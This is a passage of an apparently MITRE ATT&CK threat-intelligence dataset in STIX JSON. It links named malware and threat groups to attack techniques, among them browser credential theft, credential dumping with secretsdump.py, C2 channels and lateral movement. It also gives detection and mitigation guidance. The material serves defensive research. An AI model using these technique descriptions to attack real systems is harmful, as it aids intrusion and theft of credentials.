","modified":"2022-04-18T17:16:33.797Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aba4b49c-0e87-4e81-81ce-cdefff278c5f","type":"relationship","created":"2022-03-17T15:24:46.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. 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Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2019-07-26T16:10:42.699Z","description":"[Epic](https://attack.mitre.org/software/S0091) has a command to delete a file from the machine.(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2606ed25-9f1d-4e85-822a-af39ce0d8e66","type":"relationship","created":"2020-04-28T12:47:25.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.943Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has made registry modifications to alter its behavior upon execution.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e8af8d8-f650-45b0-9113-2137deb8e6d5","type":"relationship","created":"2021-09-28T18:53:02.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). 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Retrieved September 22, 2021."}],"modified":"2021-10-15T17:05:58.389Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can utilize cmd.exe to execute commands in a victim's environment.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93169fdc-7afd-41b9-90bc-54d99c1c86e6","type":"relationship","created":"2020-06-19T19:08:40.387Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-09-25T15:49:09.553Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to identify the domain and the MAC and IP addresses of an infected machine.(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bc68652-1d99-4782-80bd-086fc7f8358c","type":"relationship","created":"2020-10-14T00:44:35.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2020-10-14T00:44:35.219Z","description":"[APT1](https://attack.mitre.org/groups/G0006) has sent spearphishing emails containing hyperlinks to malicious files.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f395cb28-5bc0-487e-b679-155ac785b7d9","type":"relationship","created":"2019-09-23T23:08:25.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 Aug 2019","url":"https://content.fireeye.com/apt-41/rpt-apt41","description":"Fraser, N., et al. (2019, August 7). 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Retrieved August 26, 2021."}],"modified":"2021-08-26T13:55:15.835Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via [PowerSploit](https://attack.mitre.org/software/S0194).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11874e26-e692-43da-bb54-760e51a4714f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. 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(2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:48:19.691Z","description":"[Javali](https://attack.mitre.org/software/S0528) can capture login credentials from open browsers including Firefox, Chrome, Internet Explorer, and Edge.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39266465-987d-46f6-8680-4149a5bfea50","type":"relationship","created":"2019-03-13T14:45:00.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/EmpireProject/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. 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Retrieved January 7, 2021."}],"modified":"2021-04-20T21:06:09.187Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) has relied upon users clicking on links to malicious documents.(Citation: Unit 42 NETWIRE April 2020)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d295beee-439c-44f9-9908-4cb194331de9","type":"relationship","created":"2017-05-31T21:33:27.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. 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Retrieved June 17, 2020."}],"modified":"2020-06-26T17:21:35.251Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has been signed with self signed digital certificates mimicking a legitimate software company.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62b22a20-4049-4f0d-b879-235e8ab96764","type":"relationship","created":"2020-02-18T16:48:56.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object","description":"Brower, N., Lich, B. (2017, April 19). Create a token object. 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(2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2020-03-17T00:33:52.927Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s server component executes code sent via HTTP POST commands.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6a29b67-d323-4579-9c8e-1c95a0ea7c20","type":"relationship","created":"2020-09-24T14:20:39.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. 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(2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."},{"source_name":"sentinelone apt32 macOS backdoor 2020","url":"https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/","description":"Phil Stokes. (2020, December 2). APT32 Multi-stage macOS Trojan Innovates on Crimeware Scripting Technique. Retrieved September 13, 2021."}],"modified":"2021-09-22T23:37:06.723Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses a shell script as the main executable inside an app bundle and drops an embedded base64-encoded payload to the <code>/tmp</code> folder.(Citation: Trend Micro MacOS Backdoor November 2020)(Citation: sentinelone apt32 macOS backdoor 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a979f700-7319-4d37-bb3e-592e3a1bf878","type":"relationship","created":"2020-08-24T13:40:23.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T13:40:23.324Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can use parent PID spoofing to elevate privileges.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--338371ce-f2c3-4401-9e9a-c4c5667f87cb","type":"relationship","created":"2020-05-12T12:46:57.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T12:46:57.138Z","description":"[VBShower](https://attack.mitre.org/software/S0442) has the ability to execute VBScript files.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--8caa18af-4758-4fd3-9600-e8af579e89ed","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93fe5493-d3c1-4db2-8228-61da951c660e","type":"relationship","created":"2019-01-30T15:38:21.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. 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Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has been used to run the <code>tasklist</code> command on a compromised system.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T20:29:55.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac8ba4ea-f9dc-4d0c-85d9-0df3041fd304","type":"relationship","created":"2019-06-18T17:20:43.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black JCry May 2019","url":"https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/","description":"Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}],"modified":"2020-03-17T13:40:58.718Z","description":"[JCry](https://attack.mitre.org/software/S0389) has achieved execution by luring users to click on a file that appeared to be an Adobe Flash Player update installer. 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Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used Blogspot pages for C2.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T15:09:05.420Z","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). 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Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.357Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) listed all running processes on the machine.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74edb7f4-4c3b-4573-abb0-c4842032b6c3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). 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Retrieved September 27, 2021."}],"modified":"2021-10-13T18:28:38.745Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has stored stolen emails and other data into new folders prior to exfiltration.(Citation: Kroll Qakbot June 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--948146db-f966-4e0c-bbb2-289e2eae6718","type":"relationship","created":"2020-05-08T17:01:36.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Silence Sept 2018","url":"https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf","description":"Group-IB. (2018, September). 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Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).","modified":"2022-04-20T02:46:10.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bacfa3f2-7828-405d-bd20-dca0edb58513","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor executed commands and arguments that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--42a2aec6-4efb-44d0-8ae8-32a208c05da6","created":"2022-04-07T15:24:55.474Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. 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(2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuietSieve](https://attack.mitre.org/software/S0686) can use HTTPS in C2 communications.(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T12:28:00.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7bfecc9-a5ff-43c4-ad9e-4ca8c64c7fe2","type":"relationship","created":"2020-06-10T18:36:54.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike GTR 2019","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2019GlobalThreatReport.pdf","description":"CrowdStrike. (2019, January). 2019 Global Threat Report. Retrieved June 10, 2020."},{"source_name":"Secureworks IRON VIKING ","url":"https://www.secureworks.com/research/threat-profiles/iron-viking","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."},{"source_name":"UK NCSC Olympic Attacks October 2020","url":"https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games","description":"UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020."},{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. 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(2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for user accounts logged into systems that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). For example, on macOS systems <code>log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) ","modified":"2022-04-20T03:05:45.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42968b37-a9f4-4bd8-b2af-36a04bd2803d","type":"relationship","created":"2019-06-14T17:07:30.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-31T18:59:01.151Z","description":"Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ed1086d-3197-403e-86e4-16e4dee07faa","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. 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Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.284Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can retrieve a list of running processes.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97b6c034-b96c-4532-8dd7-51fedcdcd31f","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c69ee5f4-161a-4d2b-bad4-cc7929596bd3","type":"relationship","created":"2020-03-19T23:25:31.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"},{"url":"https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs","description":"Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.","source_name":"Github AD-Pentest-Script"}],"modified":"2020-03-19T23:25:31.148Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1a8fd78-3712-4951-8ebc-af5fe271295d","type":"relationship","created":"2020-11-06T18:40:38.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/","description":"Mudge, R. (2017, January 24). Scripting Matt Nelson’s MMC20.Application Lateral Movement Technique. Retrieved November 21, 2017.","source_name":"Cobalt Strike DCOM Jan 2017"}],"modified":"2021-10-18T13:21:38.268Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can deliver Beacon payloads for lateral movement by leveraging remote COM execution.(Citation: Cobalt Strike DCOM Jan 2017)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b30cb8a-fc4b-44c1-ad5e-b71e430e1a8c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","source_name":"Unit 42 